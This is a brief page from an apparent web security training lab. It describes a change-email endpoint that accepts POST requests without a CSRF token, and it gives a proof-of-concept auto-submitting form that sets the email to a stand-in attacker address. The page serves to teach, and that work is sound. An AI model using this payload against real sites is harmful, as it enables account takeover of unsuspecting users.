Naked - POST CSRF (no token)

Change email

This POST ships no CSRF token and no re-authentication. Because the session cookie is not SameSite=Strict, a cross-site auto-submitting form can point email at an attacker address. Minimal PoC:

<form action="/m05-p/naked/post-notoken/email" method="POST">
  <input name="email" value="attacker@evil.example">
</form><script>document.forms[0].submit()</script>

More hands-on practice → labs.hackxpert.com